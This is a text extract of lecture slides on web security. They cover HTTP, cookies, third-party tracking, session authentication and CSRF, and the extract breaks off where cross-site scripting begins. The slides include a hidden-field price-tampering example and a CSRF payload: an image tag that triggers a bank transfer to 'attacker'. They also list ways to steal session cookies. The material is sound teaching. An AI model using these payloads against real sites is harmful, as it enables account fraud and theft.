continuing with web security cookies · 2016. 2. 23. · cookies browser client (private) data •...

148
This time Continuing with Web Security Cookies XSS & CSRF Required reading for this lecture: “Web Security: Are You Part Of The Problem?” “Cross Site Request Forgery: An Introduction…”

Upload: others

Post on 11-Oct-2020

2 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

This timeContinuing with

WebSecurity Cookies

XSS & CSRF

Required reading for this lecture: “Web Security: Are You Part Of The Problem?”

“Cross Site Request Forgery: An Introduction…”

Page 2: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

HTTP GET requests

http://www.reddit.com/r/security

Contain headers. Request to download (GET) a resource (webpage, file, etc.) from a location (URL)

Page 3: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

HTTP GET requests

http://www.reddit.com/r/security

Contain headers. Request to download (GET) a resource (webpage, file, etc.) from a location (URL)

Page 4: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

HTTP GET requests

http://www.reddit.com/r/security

User-Agent is typically a browser but it can be wget, JDK, etc.

Contain headers. Request to download (GET) a resource (webpage, file, etc.) from a location (URL)

Page 5: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)
Page 6: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)
Page 7: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Referrer URL: the site from whichthis request was issued.

Page 8: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

HTTP POST requestsContain headers and body (data).

Request to upload (POST) data to a resource (a program)hosted at a location (URL)

Page 9: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

HTTP POST requestsContain headers and body (data).

Request to upload (POST) data to a resource (a program)hosted at a location (URL)

Page 10: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

HTTP POST requestsContain headers and body (data).

Request to upload (POST) data to a resource (a program)hosted at a location (URL)

Implicitly includes dataas a part of the URL

Page 11: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

HTTP POST requestsContain headers and body (data).

Request to upload (POST) data to a resource (a program)hosted at a location (URL)

Explicitly includes data as a part of the request’s content

Implicitly includes dataas a part of the URL

Page 12: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Basic structure of web traffic

Browser Web server

Client Server

HTTP Request

User clicks

Page 13: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Basic structure of web traffic

Browser Web server

Client Server

User clicks

Page 14: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Basic structure of web traffic

Browser Web server

Client Server

User clicks

HTTP Response

Page 15: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Basic structure of web traffic

Browser Web server

Client Server

User clicks

• Responses contain: • Status code • Headers describing what the server provides • Data • Cookies

• State it would like the browser to store on the site’s behalf

HTTP Response

Page 16: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

<html> …… </html>

HTTP responses

Page 17: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

<html> …… </html>

Hea

ders

Dat

aHTTP

versionStatuscode

Reasonphrase

HTTP responses

Page 18: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)
Page 19: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)
Page 20: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)
Page 21: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

HTTP is stateless• The lifetime of an HTTP session is typically:

• Client connects to the server • Client issues a request • Server responds • Client issues a request for something in the response • …. repeat …. • Client disconnects

• HTTP has no means of noting “oh this is the same client from that previous session”

• With this alone, you’d have to log in at every page load

Page 22: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Maintaining state across HTTP sessions

• Server processing results in intermediate state

• Send the state to the client in hidden fields

• Client returns the state in subsequent responses

Browser Web server

Client Server

HTTP Request

Page 23: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Maintaining state across HTTP sessions

• Server processing results in intermediate state

• Send the state to the client in hidden fields

• Client returns the state in subsequent responses

Browser Web server

Client Server

HTTP Request

State

Page 24: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Maintaining state across HTTP sessions

• Server processing results in intermediate state

• Send the state to the client in hidden fields

• Client returns the state in subsequent responses

Browser Web server

Client Server

State

Page 25: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Maintaining state across HTTP sessions

• Server processing results in intermediate state

• Send the state to the client in hidden fields

• Client returns the state in subsequent responses

Browser Web server

Client Server

HTTP Response

State

Page 26: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Maintaining state across HTTP sessions

• Server processing results in intermediate state

• Send the state to the client in hidden fields

• Client returns the state in subsequent responses

Browser Web server

Client Server

HTTP Response

State

Page 27: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Maintaining state across HTTP sessions

• Server processing results in intermediate state

• Send the state to the client in hidden fields

• Client returns the state in subsequent responses

Browser Web server

Client Server

HTTP Response

State

Page 28: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Maintaining state across HTTP sessions

• Server processing results in intermediate state

• Send the state to the client in hidden fields

• Client returns the state in subsequent responses

Browser Web server

Client Server

State

Page 29: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Maintaining state across HTTP sessions

• Server processing results in intermediate state

• Send the state to the client in hidden fields

• Client returns the state in subsequent responses

Browser Web server

Client Server

HTTP Request

State

Page 30: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Maintaining state across HTTP sessions

• Server processing results in intermediate state

• Send the state to the client in hidden fields

• Client returns the state in subsequent responses

Browser Web server

Client Server

HTTP Request

State

Page 31: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Maintaining state across HTTP sessions

• Server processing results in intermediate state

• Send the state to the client in hidden fields

• Client returns the state in subsequent responses

Browser Web server

Client Server

HTTP Request

State

Page 32: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Online orderingOrder

$5.50

Order

socks.com

Page 33: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Online orderingOrder

$5.50

Order

Pay

The total cost is $5.50.Confirm order?

Yes No

socks.comsocks.com

Separate page

Page 34: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

<html><head> <title>Pay</title> </head><body>

<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>

</body></html>

Online orderingWhat’s presented to the user

Page 35: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

<html><head> <title>Pay</title> </head><body>

<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>

</body></html>

Online orderingWhat’s presented to the user

Page 36: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Online ordering

if(pay == yes && price != NULL){

bill_creditcard(price);deliver_socks();

}else

display_transaction_cancelled_page();

The corresponding backend processing

Page 37: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Online ordering

if(pay == yes && price != NULL){

bill_creditcard(price);deliver_socks();

}else

display_transaction_cancelled_page();

The corresponding backend processing

Page 38: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

<html><head> <title>Pay</title> </head><body>

<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>

</body></html>

Online orderingWhat’s presented to the user

Page 39: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

<html><head> <title>Pay</title> </head><body>

<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>

</body></html>

Online orderingWhat’s presented to the user

value=“0.01”

Page 40: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Minimizing trust in the client

<html><head> <title>Pay</title> </head><body>

<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>

</body></html>

What’s presented to the user

Page 41: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Minimizing trust in the client

<html><head> <title>Pay</title> </head><body>

<form action=“submit_order” method=“GET”>The total cost is $5.50. Confirm order?<input type=“hidden” name=“price” value=“5.50”><input type=“submit” name=“pay” value=“yes”><input type=“submit” name=“pay” value=“no”>

</body></html>

<input type=“hidden” name=“sid” value=“781234”>

What’s presented to the user

Page 42: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Minimizing trust in the client

price = lookup(sid);if(pay == yes && price != NULL){

bill_creditcard(price);deliver_socks();

}else

display_transaction_cancelled_page();

The corresponding backend processing

Page 43: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Minimizing trust in the client

price = lookup(sid);if(pay == yes && price != NULL){

bill_creditcard(price);deliver_socks();

}else

display_transaction_cancelled_page();

The corresponding backend processing

We don’t want to pass hidden fields around all the time

Page 44: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Statefulness with Cookies

• Server stores state, indexes it with a cookie

• Send this cookie to the client

• Client stores the cookie and returns it with subsequent queries to that same server

Browser Web server

Client Server

HTTP Request

Page 45: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Statefulness with Cookies

• Server stores state, indexes it with a cookie

• Send this cookie to the client

• Client stores the cookie and returns it with subsequent queries to that same server

Browser Web server

Client Server

HTTP Request

State

Page 46: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Statefulness with Cookies

• Server stores state, indexes it with a cookie

• Send this cookie to the client

• Client stores the cookie and returns it with subsequent queries to that same server

Browser Web server

Client Server

HTTP Request

State

Cookie

Page 47: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Statefulness with Cookies

• Server stores state, indexes it with a cookie

• Send this cookie to the client

• Client stores the cookie and returns it with subsequent queries to that same server

Browser Web server

Client Server

State

Cookie

Page 48: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Statefulness with Cookies

• Server stores state, indexes it with a cookie

• Send this cookie to the client

• Client stores the cookie and returns it with subsequent queries to that same server

Browser Web server

Client Server

HTTP Response

State

Cookie

Page 49: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Statefulness with Cookies

• Server stores state, indexes it with a cookie

• Send this cookie to the client

• Client stores the cookie and returns it with subsequent queries to that same server

Browser Web server

Client Server

HTTP Response

Cookie State

Cookie

Page 50: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Statefulness with Cookies

• Server stores state, indexes it with a cookie

• Send this cookie to the client

• Client stores the cookie and returns it with subsequent queries to that same server

Browser Web server

Client Server

HTTP Response

Cookie State

Cookie

Cookie

Page 51: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Statefulness with Cookies

• Server stores state, indexes it with a cookie

• Send this cookie to the client

• Client stores the cookie and returns it with subsequent queries to that same server

Browser Web server

Client Server

HTTP Response

Cookie State

Cookie

Cookie

Server

Page 52: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Statefulness with Cookies

• Server stores state, indexes it with a cookie

• Send this cookie to the client

• Client stores the cookie and returns it with subsequent queries to that same server

Browser Web server

Client Server

State

Cookie

Cookie

Server

Page 53: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Statefulness with Cookies

• Server stores state, indexes it with a cookie

• Send this cookie to the client

• Client stores the cookie and returns it with subsequent queries to that same server

Browser Web server

Client Server

HTTP Request

State

Cookie

Cookie

Server

Page 54: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Statefulness with Cookies

• Server stores state, indexes it with a cookie

• Send this cookie to the client

• Client stores the cookie and returns it with subsequent queries to that same server

Browser Web server

Client Server

HTTP Request

State

Cookie

Cookie

Server

Cookie

Page 55: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

<html> …… </html>

Hea

ders

Dat

a

Set-Cookie:key=value; options; ….Cookies are key-value pairs

Page 56: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

<html> …… </html>

Hea

ders

Dat

a

Set-Cookie:key=value; options; ….Cookies are key-value pairs

Page 57: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cookies

Browser

Client

(Private) Data

Semantics

Page 58: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cookies

Browser

Client

(Private) Data

• Store “us” under the key “edition” (think of it like one big hash table)

Semantics

Page 59: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cookies

Browser

Client

(Private) Data

• Store “us” under the key “edition” (think of it like one big hash table)

• This value is no good as of Wed Feb 18…

Semantics

Page 60: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cookies

Browser

Client

(Private) Data

• Store “us” under the key “edition” (think of it like one big hash table)

• This value is no good as of Wed Feb 18…

• This value should only be readable by any domain ending in .zdnet.com

Semantics

Page 61: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cookies

Browser

Client

(Private) Data

• Store “us” under the key “edition” (think of it like one big hash table)

• This value is no good as of Wed Feb 18…

• This value should only be readable by any domain ending in .zdnet.com

• This should be available to any resource within a subdirectory of /

Semantics

Page 62: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cookies

Browser

Client

(Private) Data

• Store “us” under the key “edition” (think of it like one big hash table)

• This value is no good as of Wed Feb 18…

• This value should only be readable by any domain ending in .zdnet.com

• This should be available to any resource within a subdirectory of /

• Send the cookie to any future requests to <domain>/<path>

Semantics

Page 63: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cookies

Browser

Client

(Private) Data

• Store “us” under the key “edition” (think of it like one big hash table)

• This value is no good as of Wed Feb 18…

• This value should only be readable by any domain ending in .zdnet.com

• This should be available to any resource within a subdirectory of /

• Send the cookie to any future requests to <domain>/<path>

Semantics

Page 64: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Requests with cookies

Subsequent visit

Page 65: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Requests with cookies

Subsequent visit

Res

pons

e

Page 66: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Requests with cookies

Subsequent visit

Res

pons

e

Page 67: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Why use cookies?• Personalization

• Let an anonymous user customize your site • Store font choice, etc., in the cookie

Page 68: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Why use cookies?• Tracking users

• Advertisers want to know your behavior • Ideally build a profile across different websites

- Read about iPad on CNN, then see ads on Amazon?! • How can an advertiser (A) know what you did on another site (S)?

Page 69: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Why use cookies?• Tracking users

• Advertisers want to know your behavior • Ideally build a profile across different websites

- Read about iPad on CNN, then see ads on Amazon?! • How can an advertiser (A) know what you did on another site (S)?

S shows you an ad from A; A scrapes the referrer URL

Page 70: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Why use cookies?• Tracking users

• Advertisers want to know your behavior • Ideally build a profile across different websites

- Read about iPad on CNN, then see ads on Amazon?! • How can an advertiser (A) know what you did on another site (S)?

S shows you an ad from A; A scrapes the referrer URL

Option 1: A maintains a DB, indexed by your IP address Problem: IP addrs change

Page 71: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Why use cookies?• Tracking users

• Advertisers want to know your behavior • Ideally build a profile across different websites

- Read about iPad on CNN, then see ads on Amazon?! • How can an advertiser (A) know what you did on another site (S)?

S shows you an ad from A; A scrapes the referrer URL

Option 1: A maintains a DB, indexed by your IP address Problem: IP addrs change

Option 2: A maintains a DB indexed by a cookie

- “Third-party cookie”- Commonly used by large

ad networks (doubleclick)

Page 72: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)
Page 73: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Ad provided byan ad network

Page 74: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Snippet of reddit.com source

Page 75: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Snippet of reddit.com source

Our first time accessing adzerk.net

Page 76: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

I visit reddit.com

Page 77: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

I visit reddit.com

Page 78: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

I visit reddit.com

Page 79: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

I visit reddit.com

Later, I go to reddit.com/r/security

Page 80: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

I visit reddit.com

Later, I go to reddit.com/r/security

Page 81: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

I visit reddit.com

Later, I go to reddit.com/r/security

Page 82: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

I visit reddit.com

Later, I go to reddit.com/r/security

We are only sharing this cookie with *.adzerk.net; but we are telling them

about where we just came from

Page 83: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cookies and web authentication• An extremely common use of cookies is to

track users who have already authenticated

• If the user already visitedhttp://website.com/login.html?user=alice&pass=secretwith the correct password, then the server associates a “session cookie” with the logged-in user’s info

• Subsequent requests (GET and POST) include the cookie in the request headers and/or as one of the fields:http://website.com/doStuff.html?sid=81asf98as8eak

• The idea is for the server to be able to say “I am talking to the same browser that authenticated Alice earlier.”

Page 84: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cookies and web authentication• An extremely common use of cookies is to

track users who have already authenticated

• If the user already visitedhttp://website.com/login.html?user=alice&pass=secretwith the correct password, then the server associates a “session cookie” with the logged-in user’s info

• Subsequent requests (GET and POST) include the cookie in the request headers and/or as one of the fields:http://website.com/doStuff.html?sid=81asf98as8eak

• The idea is for the server to be able to say “I am talking to the same browser that authenticated Alice earlier.”

Attacks?

Page 85: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cross-Site Request Forgery (CSRF)

Page 86: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

URLs with side-effects

• GET requests should have no side-effects, but often do

• What happens if the user is logged in with an active session cookie and visits this link?

• How could you possibly get a user to visit this link?

http://bank.com/transfer.cgi?amt=9999&to=attacker

Page 87: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting URLs with side-effects

Browser

Client attacker.com

Page 88: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting URLs with side-effects

Browser

Client

<img src=“

http://ban

k.com/

transfer.c

gi?amt=999

9&to=attac

ker”>

attacker.com

Page 89: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting URLs with side-effects

Browser

Client

<img src=“

http://ban

k.com/

transfer.c

gi?amt=999

9&to=attac

ker”>

attacker.com

Browser automaticallyvisits the URL to obtainwhat it believes will be an image.

Page 90: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting URLs with side-effects

Browser

Client

bank.com

<img src=“

http://ban

k.com/

transfer.c

gi?amt=999

9&to=attac

ker”>

attacker.com

Browser automaticallyvisits the URL to obtainwhat it believes will be an image.

Page 91: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting URLs with side-effects

Browser

Client

bank.com

<img src=“

http://ban

k.com/

transfer.c

gi?amt=999

9&to=attac

ker”>

http://bank.com/

transfer.cgi?amt=9999&to=attacker

attacker.com

Browser automaticallyvisits the URL to obtainwhat it believes will be an image.

Page 92: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting URLs with side-effects

Browser

Client

bank.com

<img src=“

http://ban

k.com/

transfer.c

gi?amt=999

9&to=attac

ker”>

http://bank.com/

transfer.cgi?amt=9999&to=attacker

attacker.com

Browser automaticallyvisits the URL to obtainwhat it believes will be an image.

Cookie

bank.com

Page 93: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting URLs with side-effects

Browser

Client

bank.com

<img src=“

http://ban

k.com/

transfer.c

gi?amt=999

9&to=attac

ker”>

http://bank.com/

transfer.cgi?amt=9999&to=attacker

attacker.com

Browser automaticallyvisits the URL to obtainwhat it believes will be an image.

Cookie

bank.com

Cookie

Page 94: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Exploiting URLs with side-effects

Browser

Client

bank.com

<img src=“

http://ban

k.com/

transfer.c

gi?amt=999

9&to=attac

ker”>

http://bank.com/

transfer.cgi?amt=9999&to=attacker

attacker.com

Browser automaticallyvisits the URL to obtainwhat it believes will be an image.

Cookie

bank.com

Cookie

$$$

Page 95: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Cross-Site Request Forgery• Target: User who has some sort of account on a vulnerable

server where requests from the user’s browser to the server have a predictable structure

• Attack goal: make requests to the server via the user’s browser that look to the server like the user intended to make them

• Attacker tools: ability to get the user to visit a web page under the attacker’s control

• Key tricks: • Requests to the web server have predictable structure • Use of something like <img src=…> to force the victim to send it

Page 96: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

CSRF protections• Client-side:

• Server-side:

Page 97: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

CSRF protections• Client-side:

• Server-side:

Disallow one site to link to another??

The loss of functionality would be too high

Page 98: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

CSRF protections• Client-side:

• Server-side:

Disallow one site to link to another??

The loss of functionality would be too high

Referrer URL: Only allow certain actions if the referrer URL is from this site, as well

Make the request unpredictable; put the cookie into the request, as well http://website.com/doStuff.html?sid=81asf98as8eak

Page 99: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

How can you steal a session cookie?

Browser Web server

Client Server

Cookie State

Cookie

Cookie

Server

Cookie

Page 100: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

How can you steal a session cookie?

• Compromise the user’s machine / browser

• Sniff the network

• DNS cache poisoning • Trick the user into thinking you are Facebook • The user will send you the cookie

Browser Web server

Client Server

Cookie State

Cookie

Cookie

Server

Cookie

Page 101: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

How can you steal a session cookie?

• Compromise the user’s machine / browser

• Sniff the network

• DNS cache poisoning • Trick the user into thinking you are Facebook • The user will send you the cookie

Network-based attacks (more later)

Browser Web server

Client Server

Cookie State

Cookie

Cookie

Server

Cookie

Page 102: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Stealing users’ cookies

For now, we’ll assume this attack model:• The user is visiting the site they expect • All interactions are strictly through the browser

Page 103: Continuing with Web Security Cookies · 2016. 2. 23. · Cookies Browser Client (Private) Data • Store “us” under the key “edition” (think of it like one big hash table)

Dynamic web pages• Rather than static HTML, web pages can be

expressed as a program, e.g., written in Javascript:

<html><body>

Hello, <b>

<script>var a = 1;var b = 2;document.write(“world: “, a+b, “</b>”);

